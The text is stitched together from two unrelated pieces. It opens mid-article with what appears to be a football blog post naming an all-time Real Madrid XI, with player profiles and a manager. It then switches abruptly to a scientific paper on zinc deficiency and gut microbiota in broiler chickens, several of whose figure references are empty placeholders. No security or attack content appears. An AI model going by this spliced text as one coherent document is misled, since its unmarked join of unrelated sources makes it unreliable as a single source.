CB : Jose Santamaria
He was nicknamed ‘The Wall’ during his playing days, and with good reason. Santamaria was the often impenetrable last line of defence for the great Real Madrid team of the late 50s and early 60s. He featured 337 times for Los Blancos and lifted the European Cup 4 times.
CB : Fernando Hierro
Hierro was a sublime defender, with great positioning sense, anticipation and aerial ability. And there was a lot more to his game. He was very comfortable on the ball, and had a great range of passing, often starting moves for his team. And he had a fearsome shot, which helped him score an incredible 127 goals in his 601 appearances for Real.
RB : Chendo
Chendo spent his entire career at Real Madrid. He was an extremely dedicated player who stood out for his hard work and commitment to the cause. The industrious right back spent 16 seasons at the club, winning 7 La Liga titles and the 1998 Champions League.
The Heart of Midfield
The Contenders : Raymond Kopa, Pirri, Zinedine Zidane, Xabi Alonso
Raymond Kopa could easily get a chance in most teams a lot further up the pitch. But the wealth of riches available further up the pitch across the history of Real Madrid means that he’s competing for a deeper lying role. Jose Pirri and Xabi Alonse can both provide some much needed solidity in the centre of the pitch, combined with a great range of passing. Of course, there’s also the great Zinedine Zidane. These 4 will be fighting for just 2 central midfield spots .
LCM : Pirri
José Martínez Sánchez, nicknamed Pirri, was known as the lungs of the Real Madrid team of the 60s and 70s. He was an incredibly versatile player who’s played as a central midfielder, defender, sweeper and even as a makeshift forward. He netted 172 goals during his 16 seasons with the club. He represented Madrid’s strength and honour, playing the 1971 final of the European Cup Winner’s Cup with his arm in a sling, and the 1975 Copa del Rey final with fever and a broken jaw. Pirri will no doubt provide some much needed solidity in front of the back 4 in this XI. He has received the club’s greatest distinction: the Laureate.
RCM : Zinedine Zidane
One of the all-time greats of football, Zidane was always going to find his spot in this team. He played in a variety of positions throughout midfield during his Real Madrid career, but we’d like to play him centrally, getting him on the ball as often as possible. Few people have ever had a better range and eye for passing and he would be the man pulling the strings from midfield for this team. And when required, the 3 time FIFA World Player of the Year can contribute with his fair share of goals, as is evident from the 2002 UEFA Champions League final, as well as the 1998 FIFA World Cup final.
The Cutting Edge
The Contenders : Alfredo di Stefano, Ferenc Puskas, Francisco Gento, Hugo Sanchez, Raul Gonzalez, Ronaldo Nazario, Cristiano Ronaldo
An embarrassment of riches! There are so many great players who are not even being considered as contenders here.
Di Stefano, Puskas, Hugo Sanchez, Raul Gonzalez, Ronaldo Nazario and Cristiano Ronaldo are some of the greatest goal scorers of all time, and all of them have multiple Pichichi Trophies to their name. The one remaining contender, Francisco Gento, is regarded as one of the all time great wingers, and had scored his fair share of goals to.
LW : Cristiano Ronaldo
The talisman of the modern day Real Madrid team, Cristiano Ronaldo slots into his preferred position on the left wing. He thrives on good quality service, and there’ll be no shortage of that in this team. Cristiano is Real Madrid’s all time top goalscorer with a goal ratio of about 1 goal per game. He is the all time Champions League top goalscorer, and the second highest goalscorer in La Liga behind only Lionel Messi.
RW : Francisco Gento
The legendary winger is now the honorary President of Real Madrid, following the passing away of Di Stefano. He appeared in a record 8 European finals for Real, winning a record 6. While he made his name playing mostly on the left wing, we had to give provide Cristiano Ronaldo the first dibs. So Gento occupies the right wing in this team.
CF : Alfredo Di Stefano
The Godfather of Real Madrid occupies the no. 10 role in this XI. Today Real Madrid would not be Real Madrid without the contributions of arguably their greatest ever player, Alfredo Di Stefano. Having him as the furthest forward was definitely an enticing option, but we ultimately decided to play him just behind the focal striker in this team. Despite playing as the focal point of the great Real Madrid team of the 50s, he contributed all across the pitch, and often dropped deep to help out in defence and midfield. He was a true all-round player, and many of those who played with him swear even now that he’s the best they’ve ever seen.
ST : Ronaldo Nazario
Leaving out Ferenc Puskas was a difficult choice. We’re going to miss the deadly Puskas-Di Stefano combination in this starting line-up. But in the end, we had to go for the 3 time World Player of the Year, Ronaldo. With his incredible pace, power and skill, Ronaldo produced a series of memorable performances for the whites. And at the head of the lineup, he completes this illustrious starting XI.
Captain : Alfredo Di Stefano
Manager : Vicente del Bosque
Substitutes :
Mariano García Remon
Jose Antonio Camacho
Sergio Ramos
Xabi Alonso
Raymond Kopa
Ferenc Puskas
Hugo Sanchez
Do you agree with our team? Who would you rather have in your All Time Greatest XI of Real Madrid? Let us know in the comments below. |
1. Introduction {#sec1-nutrients-07-05497}
===============
Zn, an essential nutrient for nearly all organisms, is most notably involved as a metal cofactor in hundreds of proteins within the human body \[[@B1-nutrients-07-05497],[@B2-nutrients-07-05497]\]. In healthy adults, Zn is present in the amount of 2--3 g and is second only to iron (Fe) as the most abundant micronutrient \[[@B3-nutrients-07-05497],[@B4-nutrients-07-05497]\]. Even mild deficiencies of this mineral can profoundly impact growth and development, as well as impede immune differentiation and maturation \[[@B5-nutrients-07-05497],[@B6-nutrients-07-05497]\]. The spectrum of chronic Zn deficiencies has been recently estimated to affect around 17% of the population \[[@B7-nutrients-07-05497]\], with insufficient dietary Zn intake and/or poor bioavailability from food central to this condition \[[@B8-nutrients-07-05497],[@B9-nutrients-07-05497]\]. Despite the high prevalence of Zn deficiency, accurate clinical biomarkers of Zn status are lacking \[[@B10-nutrients-07-05497],[@B11-nutrients-07-05497]\]. To address this, a major initiative set forth by the World Health Organization, the International Zinc Nutrition Consultative Group, and others has been to promote the development of reliable Zn biomarkers. Although serum Zn is currently the most widely used biomarker of Zn status, inherent problems with its measurement and interpretation can significantly impact sensitivity and specificity for dietary Zn \[[@B11-nutrients-07-05497]\]. To that end, our group recently published evidence in this journal for a new biological indicator of Zn status, the linoleic acid: dihomo--γ--linolenic acid (LA:DGLA) ratio, which exploits the Zn--dependent rate--limiting step of erythrocyte fatty acid desaturation \[[@B12-nutrients-07-05497]\]. Yet, since no single reliable biomarker of Zn status currently exists, establishing a panel of biochemical indices, as is the case with functional Fe deficiency \[[@B13-nutrients-07-05497],[@B14-nutrients-07-05497]\], may be necessary.
Understanding the influence of the gastrointestinal microbiota on physiology may represent a novel area to also understand the effects of Zn deficiency on the host. Little is known about how dietary Zn contributes to the microbiota, and even less is known regarding the effects of chronic Zn deficiency on the gut microbial composition. Early work by Smith *et al.* \[[@B15-nutrients-07-05497]\] elucidated a role of the host microbiota in Zn homeostasis, whereby conventionally-raised (CR, Conventionally-raised) mice required nearly twice as much dietary Zn than did their germ-free (GF) counterparts. In the same study, an *in vitro* assay using radiolabeled ^65^Zn identified a *Streptococcus* sp. and *Staphylococcus epidermidis* able to concentrate Zn from the medium. In this study, GF animals also had a reduced cecal Zn concentration relative to their CR counterparts.
Recently, it was shown \[[@B16-nutrients-07-05497]\] that Zn competition exists in *C. jejuni* and other bacterial species in the host microbiota of CR versus GF broiler chickens (*Gallus gallus*). Under conditions of Zn deficiency, this might lead to the preferential growth of bacteria able to survive at low-Zn levels. Further, many recent studies have shown that prophylactic doses of Zn (as Zn oxide, ZnO) in various animal models increased the presence of Gram--negative facultative anaerobic bacterial groups, the colonic concentration of short chain fatty acids (SCFAs), as well as overall species richness and diversity \[[@B17-nutrients-07-05497],[@B18-nutrients-07-05497],[@B19-nutrients-07-05497]\]. Likewise, others have found a gut microbiota enriched in members of the phylum Firmicutes, specifically *Lactobacillus*, following ZnO administration \[[@B20-nutrients-07-05497]\]. Therapeutic levels of dietary Zn have been shown to alter the overall gut microbial composition of piglets leading to favorable changes in its metabolic activity \[[@B21-nutrients-07-05497],[@B22-nutrients-07-05497]\]. Protective effects of Zn supplementation include modulating intestinal permeability (via proliferation of the absorptive mucosa) \[[@B23-nutrients-07-05497],[@B24-nutrients-07-05497]\], reducing villous apoptosis \[[@B25-nutrients-07-05497]\], influencing the Th1 immune response \[[@B26-nutrients-07-05497]\], and reducing pathogenic infections and subsequent diarrheal episodes \[[@B23-nutrients-07-05497]\].
Although the gut environment is central to Zn homeostasis, and is affected by suboptimal Zn status, we know little about the effects of chronic dietary Zn deficiency on the composition and function of the gut microbiome. Therefore, the present study examined how a 4 weeks period of Zn deficiency affected the composition and genetic potential of the cecal microbiota in broiler chickens fed a moderately Zn deficient diet. A panel of Zn status biomarkers was measured weekly, and gene expression of a variety of Zn-dependent proteins was quantified from relevant tissues at study conclusion. Cecal contents were collected for SCFA quantification and for analyzing compositional and functional alterations in the microbiota.
2. Experimental Section {#sec2-nutrients-07-05497}
=======================
2.1. Animals, Diets, and Experimental Design {#sec2dot1-nutrients-07-05497}
--------------------------------------------
Upon hatching, chicks were randomly allocated into two treatment groups on the basis of body weight and gender (aimed to ensure equal distribution between groups, *n* = 12): 1. Zn(+): 42 µg/g zinc; 2. Zn(−): 2.5 µg/g zinc. Experimental diets are shown in [Supplemental Table 1](#app1-nutrients-07-05497){ref-type="app"}. At study conclusion, birds were euthanized. The digestive tracts (colon and small intestine) and liver were quickly removed and stored as was previously described \[[@B12-nutrients-07-05497]\]. All animal protocols were approved by the Cornell University Institutional Animal Care and Use committee.
2.2. Determination of Zn Status {#sec2dot2-nutrients-07-05497}
-------------------------------
Zn status parameters were determined as described in the [Supplemental Materials](#app1-nutrients-07-05497){ref-type="app"} and Methods.
2.3. Isolation of Total RNA {#sec2dot3-nutrients-07-05497}
---------------------------
Total RNA was extracted from 30 mg of duodenal (proximal duodenum, *n* = 9) and liver tissues (*n* = 9) as described in the [Supplemental Materials](#app1-nutrients-07-05497){ref-type="app"} and Methods. [Supplemental Table 2](#app1-nutrients-07-05497){ref-type="app"} shows the measured genes.
2.4. Cecal SCFA Analysis {#sec2dot4-nutrients-07-05497}
------------------------
SCFA concentration was determined as described in the [Supplemental Materials](#app1-nutrients-07-05497){ref-type="app"} and Methods.
2.5. 16S rRNA PCR (Polymerase Chain Reaction) Amplification and Sequencing {#sec2dot5-nutrients-07-05497}
--------------------------------------------------------------------------
Microbial genomic DNA was extracted from cecal samples as described in the [Supplemental Materials](#app1-nutrients-07-05497){ref-type="app"} and Methods.
2.6. 16S rRNA Gene Sequence Analysis {#sec2dot6-nutrients-07-05497}
------------------------------------
16S rRNA analysis was performed as described in the [Supplemental Materials](#app1-nutrients-07-05497){ref-type="app"} and Methods.
2.7. Statistical Analysis {#sec2dot7-nutrients-07-05497}
-------------------------
Biomarkers of Zn deficiency ([Figure 1](#nutrients-07-05497-f001){ref-type="fig"}) are presented as means ± SEM. ANOVA was performed to identify significant differences between the means of the experimental groups of birds, unless otherwise stated. Spearman's correlation was used to assess significant associations between bacterial groups and biomarkers of Zn status. False discovery rate adjusted *p*-values were calculated for comparisons of taxa. *p* \< 0.05 was considered significant. All statistical tests were two--tailed and were carried out using SAS version 9.3 (SAS Institute, Cary, NC, USA).
{#nutrients-07-05497-f001}
3. Results {#sec3-nutrients-07-05497}
==========
3.1. A Panel of Sensitive Biomarkers Defines a Marked Difference in Zn Status between Treatment Groups {#sec3dot1-nutrients-07-05497}
------------------------------------------------------------------------------------------------------
Results of the Zn status biomarkers used in this study were adapted from our recent publication \[[@B12-nutrients-07-05497]\]. Due to the lack of a singular marker of Zn intake and deficiency \[[@B27-nutrients-07-05497],[@B28-nutrients-07-05497]\], we opted to use an array of biological indicators of Zn status-including growth (bodyweight), immunological (hepatic mRNA expression of cytokines), and physiological (tissue Zn, serum Zn, and the erythrocyte LA:DGLA ratio) parameters- to confirm Zn deficiency in the Zn(−) treatment group. As expected, these indicators ([Figure 1](#nutrients-07-05497-f001){ref-type="fig"}A--F) were significantly different between animals receiving a Zn adequate semi purified diet (\[[@B29-nutrients-07-05497]\]; Zn(+), 42 µg/g Zn) versus those receiving a Zn deficient diet (Zn(−), 2.5 µg/g Zn). Relative hepatic mRNA gene expression of the pro-inflammatory cytokines IL-1β, IL-6, and Th2 dominant TNF-α were significantly reduced in the Zn deficient group, supporting a central role for dietary Zn in the production of cytokines and immunoregulation \[[@B30-nutrients-07-05497],[@B31-nutrients-07-05497],[@B32-nutrients-07-05497]\]. The chronic feeding of a Zn deprived diet resulted in a measureable Zn deficiency in the Zn(−) animals relative to their Zn(+) counterparts.
3.2. Gut Microbial Diversity of Zn Deficient Animals Resembles Physiologically Diseased Microbiomes {#sec3dot2-nutrients-07-05497}
---------------------------------------------------------------------------------------------------
Cecal samples from the Zn(+) and Zn(−) treatment groups were harvested and used for bacterial DNA extraction and sequencing of the V4 hypervariable region in the 16S rRNA gene. The cecum represents the primary site of bacterial fermentation in *Gallus gallus*, with its resident microbiota highly diverse and abundant \[[@B33-nutrients-07-05497]\]. As in humans, Firmicutes are by far the dominant bacterial phylum in the *Gallus gallus* cecum, accounting for 70%--90% of all sequences \[[@B34-nutrients-07-05497],[@B35-nutrients-07-05497]\].
The diversity of the cecal microbiota in the Zn(+) and Zn(−) groups was assessed through measures of α--diversity, β--diversity, and overall species richness ([Figure 2](#nutrients-07-05497-f002){ref-type="fig"}). The Chao1 index and observed species richness were used to assess α--diversity. For both measures, the Zn deficient group had significantly lower phylogenetic diversity, indicating a less diverse cecal microbial composition ([Figure 2](#nutrients-07-05497-f002){ref-type="fig"}A,B). We utilized weighted UniFrac distances as a measure of β-diversity to assess the effect of chronic Zn deficiency on between-individual variation in bacterial community composition. Principal coordinate analysis demonstrated a significant expansion of β-diversity in the Zn deficient group ([Figure 2](#nutrients-07-05497-f002){ref-type="fig"}C). Interestingly, the same features of lower α-diversity and richness together with higher β-diversity compared to the control as seen in Zn deficiency are also found in GI microbiota observed during a deficiency of the trace mineral selenium \[[@B36-nutrients-07-05497]\], as well as in various pathological states such as Crohn's disease \[[@B37-nutrients-07-05497]\], inflammatory bowel disease \[[@B38-nutrients-07-05497]\], opportunistic infections \[[@B39-nutrients-07-05497]\], diabetes \[[@B40-nutrients-07-05497]\], obesity \[[@B41-nutrients-07-05497]\] and others \[[@B42-nutrients-07-05497]\].
![Microbial diversity of the cecal microbiome. (**A**) Measures of α-diversity using the Chao1 Index \[[@B39-nutrients-07-05497]\]; and (**B**) total number of observed species \* *p* \< 0.05, \*\* *p* \< 0.01, ANOVA, *n* = 10 in Zn(+), *n* = 9 in Zn(−); (**C**) Measure of β-diversity using weighted UniFrac distances separated by the first three principal components (PC). Each dot represents one animal, and the colors represent the different treatment groups.](nutrients-07-05497-g002){#nutrients-07-05497-f002}
3.3. Chronic Zn Deficiency Reshapes the Gut Microbiome {#sec3dot3-nutrients-07-05497}
------------------------------------------------------
We performed a taxon-based analysis of the cecal microbiota ([Figure 3](#nutrients-07-05497-f003){ref-type="fig"}). 16S rRNA gene sequencing revealed that 98%--99% of all bacterial sequences in both the Zn(+) and Zn(−) groups belonged to four major divisions: Firmicutes, Proteobacteria, Bacteroidetes, and Actinobacteria. Bacterial community composition was altered in the Zn deficient group, where significantly greater abundance of Proteobacteria and significantly lower abundance of Firmicutes ([Figure 3](#nutrients-07-05497-f003){ref-type="fig"}A) was observed. In the Zn(−) group, the abundance of Bacteroidetes was increased whereas Actinobacteria was diminished, albeit not significantly. As such, the ratio of Firmicutes: Proteobacteria, was significantly lower in the Zn deficient group ([Figure 3](#nutrients-07-05497-f003){ref-type="fig"}B). Further, the abundance of Proteobacteria inversely correlated with bodyweight ([Figure 3](#nutrients-07-05497-f003){ref-type="fig"}C). Because of the central importance of Zn in growth and development, bodyweight is often the first anthropometric measurement to respond to Zn depletion and to quantify risk of complications related to Zn deficiency \[[@B43-nutrients-07-05497]\]. It has been a consistently reliable indicator of low Zn intake and Zn status in multiple cohorts and experimental models, and has been used by numerous others to quantify suboptimal dietary Zn deficiency \[[@B44-nutrients-07-05497],[@B45-nutrients-07-05497]\]. Likewise in this study, final bodyweight strongly correlated with final serum Zn (ρ = 0.84, *p* = 0.0012, [Figure 1](#nutrients-07-05497-f001){ref-type="fig"}G). At the family-level, Peptostreptococcaceae and unclassified Clostridiales were significantly lower, whereas Enterococcaceae and Enterobacteriaceae were significantly enriched, in the Zn deficient group. At the genus-level, we observed that Zn deficient animals had significantly higher relative abundance of *Enterococcus*, unclassified *Enterobacteriaceae*, and unclassified *Ruminococcaceae*, and significantly lower relative abundance of unclassified *Clostridiales* and unclassified *Peptostreptococcaceae* compared with their Zn replete counterparts ([Figure 3](#nutrients-07-05497-f003){ref-type="fig"}D).
{#nutrients-07-05497-f003}
We next investigated whether taxonomic shifts at the genus level were associated with host phenotype, as defined by bodyweight and serum Zn (as measured on day 28, [Figure 4](#nutrients-07-05497-f004){ref-type="fig"}), two commonly utilized biomarkers of Zn deficiency. Among the Zn replete animals, a significant inverse correlation was obtained between average serum Zn levels and *Eggerthella* abundance. There was also a significant positive correlation between body weight and *Rikenellaceae* abundance in this group. In the Zn deficient group, a significant positive correlation was obtained between bodyweight and the abundance of *Peptostreptococcaceae.*
The ratio of certain bacterial groups may be predictive of shifts in the genetic capacity of the microbiome in certain physiological processes (e.g., the Firmicutes:Bacteroidetes ratio and caloric extraction from diet \[[@B46-nutrients-07-05497]\]. Studies have yet to characterize or relate taxonomic changes induced by dietary Zn deficiency to markers of the phenotype, yet such ratio analyses may further define a cecal microbiota signature of the deficiency. Our analysis revealed that several ratios of the significantly altered genera in the Zn(−) group were also significantly different during Zn deficiency. The ratios of the relative abundance of Unclassified *Clostridiales*:*Enterococcus* (UC:E), Unclassified *Clostridiales*:*Ruminococcaceae* (UC:R), Unclassified *Clostridiales*:Unclassified *Enterobacteriaceae* (UC:UE), and *Peptostreptococcaceae*:*Enteroccocus* (P:E) were significantly different between the Zn(+) and Zn(−) treatment groups ([Figure 4](#nutrients-07-05497-f004){ref-type="fig"}B). Additionally, there was a significant, treatment--specific correlation between one of these ratios, *Peptostreptococcaceae*:*Enterococcus*, and bodyweight in the Zn deficient group ([Figure 4](#nutrients-07-05497-f004){ref-type="fig"}C).
{#nutrients-07-05497-f004}
In light of these taxonomic alterations, we further analyzed community shifts to the species-level. We identified a strong positive correlation between *Ruminococcus lactaris*, *Enterococcus* sp., *Clostridium lactatifermentans*, and *Clostridium clostridioforme* and Zn adequacy, as well as between the latter three operational taxonomic units (OTUs) and final bodyweight and serum Zn measurements ([Figure 5](#nutrients-07-05497-f005){ref-type="fig"}). The levels of two additional bacterial species, *Clostridium indolis* and an unclassified member of the Bacteroidales (*Unclassified S24*--*7*), were inversely correlated with final bodyweight and dietary Zn adequacy. Although not significant, it is interesting that the trend in correlation presented in [Figure 5](#nutrients-07-05497-f005){ref-type="fig"} (*i.e.*, positive OTU correlation with *Ruminococcus lactaris*, *Enterococcus* sp., *Clostridium lactatifermentans*, and *Clostridium clostridioforme* and negative OTU correlation with *Unclassified S24*--*7 and Clostridium indolis)* does extend to the mRNA gene expression data.
{#nutrients-07-05497-f005}
3.4. Functional Alterations in the Genetic Capacity of Cecal Microbiota under Zn Deficiency Conditions {#sec3dot4-nutrients-07-05497}
------------------------------------------------------------------------------------------------------
We next sought to understand whether the genetic capacity of the microbiota may influence host Zn status, since there were significant community shifts associated with physiological markers of Zn deficiency. The study of metagenomic alterations among various phenotypes (e.g., inflammatory bowel disease, obesity) and between healthy and diseased subjects has helped to elucidate how the functional shifts of the microbiota may affect the trajectory of the disease process \[[@B47-nutrients-07-05497]\]. However, the medical significance of alterations in the metabolic or functional capacity of the host microbiome under Zn deficiency conditions is unknown.
Metagenome functional predictive analysis was carried out using PICRUSt software \[[@B48-nutrients-07-05497]\], OTU abundance was normalized by 16S rRNA gene copy number, identified using the Greengenes database, and Kyoto Encyclopedia of Genes and Genomes (KEGG) orthologs prediction was calculated \[[@B48-nutrients-07-05497]\]. Considering dietary Zn depletion was the singular variable in our experiments, 12 of the 265 (4.5%) KEGG metabolic pathways analyzed were differentially--expressed between the Zn deficient and adequate groups ([Figure 6](#nutrients-07-05497-f006){ref-type="fig"}A,B). Non-homologous end--joining was most significantly depleted in Zn deficiency, an expected finding as Zn fingers are found in the catalytic subunit of DNA polymerase \[[@B49-nutrients-07-05497]\] and are essential for DNA binding and repair \[[@B50-nutrients-07-05497]\]. Further, we observed that even basic cecal microbiome metabolism was perturbed under Zn deficiency; pathways involving lipid metabolism, carbohydrate digestion and absorption, and, most pertinent to this study, mineral absorption were significantly depleted in the Zn(−) group. Other disruptions in microbial pathways involving the biosynthesis of bile acid and secondary metabolites, and xenobiotic detoxification reflect the fundamental requirement of dietary Zn in Zn finger motifs and in copper-zinc superoxide dismutase/glutathione enzymes, respectively.
Finally, we utilized a GC-MS (Gas chromatograph--mass spectrometer) to analyze SCFA concentration in the cecal contents of the Zn(−) and Zn(+) birds ([Figure 7](#nutrients-07-05497-f007){ref-type="fig"}). SCFAs are produced by bacterial fermentation and serve as a primary metabolic substrate for colonocytes \[[@B51-nutrients-07-05497]\]. We observed a significant decrease in the concentration of acetate (C~2~) and hexanoate (C~6~) in Zn(−) cecal contents. Pertinent to our results, SCFAs may increase dietary Zn absorption via a decrease in luminal pH in the intestines \[[@B52-nutrients-07-05497]\], thereby increasing Zn solubility, and/or via stimulation of the proliferation of intestinal epithelial cells leading to an increase in the overall absorptive area of the intestines \[[@B53-nutrients-07-05497]\]. In this study, a decrease in SCFA concentration in the Zn(−) group may have followed from either the observed bacterial composition shifts and/or the decreased output of carbohydrate metabolism and fermentation via changes in microbial metabolic pathways. In the host, this may initiate a continuous cycle, which serves to limit Zn uptake even in an already Zn deficient state.
{#nutrients-07-05497-f006}
{#nutrients-07-05497-f007}
4. Discussion {#sec4-nutrients-07-05497}
=============
The gut microbial ecology is known to play a prominent role in host nutritional status, through mechanisms such as modulating saccharide cellular uptake \[[@B54-nutrients-07-05497]\], influencing energy balance \[[@B46-nutrients-07-05497]\], and *de novo* biosynthesis of particular vitamins and minerals \[[@B55-nutrients-07-05497]\]. The gut, which houses the majority of these microbes, is an important organ in the absorption of Zn from the diet \[[@B56-nutrients-07-05497],[@B57-nutrients-07-05497],[@B58-nutrients-07-05497]\]. Insufficient and/or poorly bioavailable dietary Zn intake are the primary etiological risk factors of Zn deficiency \[[@B59-nutrients-07-05497],[@B60-nutrients-07-05497],[@B61-nutrients-07-05497]\]. However, to our knowledge, the significance, if any, of compositional and/or functional changes in the gut microbiome during dietary Zn depletion has yet to be explored.
As is the case in humans and the vast majority of animals, *Gallus gallus* harbors a complex and dynamic gut microbiota \[[@B62-nutrients-07-05497]\], heavily influenced by host genetics, environment, and diet \[[@B63-nutrients-07-05497]\]. There is considerable similarity at the phylum level between the gut microbiota of broilers (*Gallus gallus*) and humans, with Bacteroidetes, Firmicutes, Proteobacteria, and Actinobacteria representing the four dominant bacterial phyla in both \[[@B54-nutrients-07-05497],[@B64-nutrients-07-05497]\]. Due to its rapid maturation and well--characterized phenotype during mineral deficiency, *Gallus gallus* has been used extensively as a model of human nutrition, especially as it pertains to assessing physiological outcomes of low dietary Fe and Zn \[[@B65-nutrients-07-05497],[@B66-nutrients-07-05497],[@B67-nutrients-07-05497],[@B68-nutrients-07-05497],[@B69-nutrients-07-05497],[@B70-nutrients-07-05497],[@B71-nutrients-07-05497],[@B72-nutrients-07-05497]\]. Therefore, a central aim of the present study was to use *Gallus gallus* as a model to characterize cecal bacterial community changes between Zn deficient and Zn replete groups. Our data demonstrate that in chronic Zn deficiency, species richness, as measured by the Chao1 index, and species diversity, as measured by the total observed OTUs, were both significantly decreased. Conversely, a significant increase in UniFrac distances was observed in the Zn deficient group, signifying the looser community relatedness of the cecal microbiomes of Zn deficient animals compared with their Zn replete counterparts. Since Zn is an essential mineral for many bacteria \[[@B73-nutrients-07-05497]\], we suggest that a Zn--depleted environment might lead to a less diverse community, preferentially composed of bacterial species that are viable under Zn--limiting conditions. These alterations in cecal microbiota diversity indices mirror those found in a range of GI \[[@B37-nutrients-07-05497],[@B38-nutrients-07-05497]\] and non-GI disease states \[[@B39-nutrients-07-05497],[@B40-nutrients-07-05497],[@B41-nutrients-07-05497],[@B42-nutrients-07-05497],[@B74-nutrients-07-05497]\]. A similar dysbiotic profile has also been observed in the microbiota of micronutrient--deficient, malnourished children \[[@B75-nutrients-07-05497],[@B76-nutrients-07-05497]\]. This pattern may exemplify the striking effect of suboptimal dietary Zn intake, as with other essential micronutrients, on bacterial diversity. Therefore, loss of global diversity of the cecal microbiota during Zn deficiency may be an important, yet non-specific, indicator of suboptimal Zn intake.
Resident microbes of the gut microbiome compete with their host for various vitamins and transition elements \[[@B16-nutrients-07-05497],[@B77-nutrients-07-05497],[@B78-nutrients-07-05497],[@B79-nutrients-07-05497]\], such as Fe and Zn. Particularly important, Zn ions are involved in numerous structural and catalytic proteins in most organisms, with Zn-binding proteins constituting 10% of the human proteome and nearly 5% of the bacterial proteome \[[@B80-nutrients-07-05497],[@B81-nutrients-07-05497]\]. One form of host--microbe competition occurs through the encoding of bacterial transporters, such as the high--affinity Zn transporter, ZnuABC, in the bacterial genome, representing the essential nature of Zn for bacterial viability \[[@B77-nutrients-07-05497]\]. In our study, the compositional alterations in the Zn deficient group, most notably the significant expansion of the phylum Proteobacteria, as well as the genera *Enterobacteriaceae* and *Enterococcus*, may help to explain how dietary Zn and the microbiota interact, since the ZnuABC transporter has been found to be induced in many species within these bacterial groups under Zn-limiting conditions \[[@B82-nutrients-07-05497],[@B83-nutrients-07-05497]\]. Lack of sufficient bioavailable dietary Zn in the lumen, therefore, may modulate the gut microbiota by enabling colonization and outgrowth of bacteria that can efficiently compete for Zn. Further, we postulate that microbe-microbe interactions through a decrease in the preponderance of members of the Firmicutes phylum such as the genus *Clostridium*, known SCFA producers, may explain the overgrowth of these bacteria in the Zn(−) group \[[@B84-nutrients-07-05497]\]. SCFAs have been shown to inhibit the growth of certain Proteobacteria such as members of the *Enterobacteriaceae* *in vivo* \[[@B84-nutrients-07-05497],[@B85-nutrients-07-05497],[@B86-nutrients-07-05497]\], and thus a decrease in SCFA concentration may further explain the cecal compositional shift observed during Zn deficiency. Additionally, alterations in the luminal environment of the intestines, such as a reduction in pH through increased SCFA production, can result in a notable increase in Zn bioavailability and uptake \[[@B57-nutrients-07-05497],[@B87-nutrients-07-05497]\]. Therefore, our data suggest that changes in the gut microbiota composition of the Zn deficient group can further deplete Zn availability in an already Zn deficient state. Although we expected to observe a conservation of endogenous Zn through compensatory mechanisms in the Zn(−) group, upregulation of the expression of brush--border membrane proteins responsible for Zn uptake (*i.e.*, the ZnT and ZIP family transmembrane proteins) were not observed in the Zn(−) group \[[@B12-nutrients-07-05497]\]. Thus, our results suggest that the host-microbe balance may tilt in favor of the resident cecal microbiota (*i.e.,* the sequestration of Zn by the microbiota) during chronic Zn deficiency.
As opposed to the competition--based mechanism underlying how altered Zn availability may structurally change the gut microbiota, a compensation-based mechanism may explain the metagenomic differences between the two groups. In the Zn deficient group, depletion of a key KEGG pathway, the mineral absorption pathway, was observed. The interplay between inadequate host Zn availability and commensal gut microbes may be implicated in the compensation for the relative lack of dietary Zn in the Zn(−) group; accordingly, this might lead to a depletion in bacterial pathways responsible for Zn uptake, and an enrichment in host mineral absorption pathways for the purpose of improving systemic Zn status. Additionally, lack of Zn available to the bacteria might also cause a decrease in bacterial Zn accumulation.
Another aim of our study was to identify correlations between candidate microbes and commonly-used biological indicators of Zn deficiency ([Figure 5](#nutrients-07-05497-f005){ref-type="fig"}C). *Clostridium indolis,* a microbe we found to be negatively correlated with bodyweight and Zn adequacy, has been isolated from clinical samples of both animal and human infections \[[@B88-nutrients-07-05497]\], and may have the potential to produce beneficial SCFAs such as acetate and butyrate \[[@B89-nutrients-07-05497]\]. *Enterococcus* sp. was positively correlated with final body weight, serum Zn, and Zn adequacy. Members of this genus, specifically *Enterococcus faecium,* have been shown previously to correlate with increased bodyweight \[[@B90-nutrients-07-05497]\] and elevated serum Fe levels \[[@B91-nutrients-07-05497]\]. The presence of *Clostridium lactatifermentans*, a SCFA producer, positively correlated with bodyweight, serum Zn, and Zn adequacy. It has been isolated previously from *Gallus gallus,* and associated with an improvement in growth and development (as defined by bodyweight) \[[@B92-nutrients-07-05497]\]. Aside from these studies, there are little data linking any of these microbes with a purported influence of host Zn status or overall physiology. Future research using GF animals may elucidate new roles for these specific microbes in the etiology and/or progression of Zn deficiency.
5. Conclusions {#sec5-nutrients-07-05497}
==============
We have revealed a dramatic compositional and functional remodeling that occurs in the *Gallus gallus* gut microbiota under chronic Zn deficient conditions. Compositional alterations in bacterial abundance, in part due to host--microbe and microbe--microbe interactions, lead to changes in the functional capacity of the microbiota, such as SCFA output, which can influence the absorption and availability of dietary Zn by the host. Our data suggest that as a consequence of this remodeling, a Zn (--) microbiota has the potential to perpetuate, and perhaps even aggravate, the Zn deficient condition through the further sequestration of Zn from the host ([Figure 8](#nutrients-07-05497-f008){ref-type="fig"}). Such a microbiota are not functionally compatible with the physiological needs of the Zn deficient host. In addition, others have observed decreased luminal Zn solubility in the intestines \[[@B87-nutrients-07-05497]\], increased GI inflammation and intestinal permeability, and an overall decline in GI health \[[@B93-nutrients-07-05497],[@B94-nutrients-07-05497]\] under Zn deficiency. Our findings add to this knowledge by suggesting possible mechanisms by which the gut microbiota may contribute to host Zn deficiency. Further research should determine whether the gut microbiome could represent a modifiable risk factor for chronic Zn deficiency.
![Schematic diagram depicting proposed mechanisms by which a Zn deficient gut microbiome may worsen a Zn deficient phenotype. Zn deficiency (1), caused by insufficient dietary Zn (2), induces a decrease in gut microbial diversity (3), and an outgrowth of bacteria particularly suited to low Zn conditions, leading to dysbiosis \[3A--C\]. Lack of dietary Zn also leads to alterations in the functional capacity of the microflora (4), causing multiple effects including decreased expression of pathways related to mineral (*i.e.*, Zn) absorption (4A) and carbohydrate digestion and fermentation (4B). A decrease in the latter pathway may also cause a depression in the production of SCFAs (5), compounds responsible for improving the bioavailability of Zn. Altogether, these microbial effects may decrease Zn absorbability (6A, \[[@B87-nutrients-07-05497]\]) and disturb GI health (6B, \[[@B93-nutrients-07-05497],[@B94-nutrients-07-05497]\]), thereby perpetuating a Zn deficient state. Red arrows and orange--lined boxes denote observations of this study, and dashed arrows and black--lined boxes describe published findings.](nutrients-07-05497-g008){#nutrients-07-05497-f008}
######
Click here for additional data file.
The following are available online at <http://www.mdpi.com/2072-6643/7/12/5497/s1>, Table S1: Composition of the experimental diets, Table S2: Measured genes (*Gallus gallus*) and tissue-specific 18S rRNA from mRNA.
